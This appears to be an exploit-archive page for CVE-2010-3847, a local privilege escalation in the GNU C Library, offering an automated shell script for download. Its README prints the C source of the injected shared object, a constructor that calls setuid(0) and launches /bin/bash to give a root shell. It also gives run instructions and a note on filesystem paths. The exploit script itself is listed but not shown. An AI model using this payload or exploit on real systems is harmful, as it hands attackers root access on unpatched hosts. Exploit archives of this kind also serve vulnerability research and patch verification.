CVE-2010-3847 PoC — GNU C Library 后置链接漏洞

Source

Associated Vulnerability

Description

Script to take advantage of CVE-2010-3847

Readme

CVE-2010-3847 script
====================
Meant to automate the exploit discussed in
[http://marc.info/?l=full-disclosure&m=128776663124692&w=2].  Tested on
CentOS 5 x86.

The DSO it outputs is compiled from the following code:
```c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}
```

Usage
-----
Download it, put it somewhere executable, and run it.

Gotchas
-------
`/tmp` and wherever `ping` is have to be on the same filesystem.  If not,
adjust the paths accordingly.

File Snapshot

 [4.0K]  /data/pocs/6d1bc6840dcfa35f71366549bee1028f67aa34c5
├── [ 23K]  CVE-2010-3847.sh
├── [ 858]  LICENSE
└── [ 571]  README.md

0 directories, 3 files

Remarks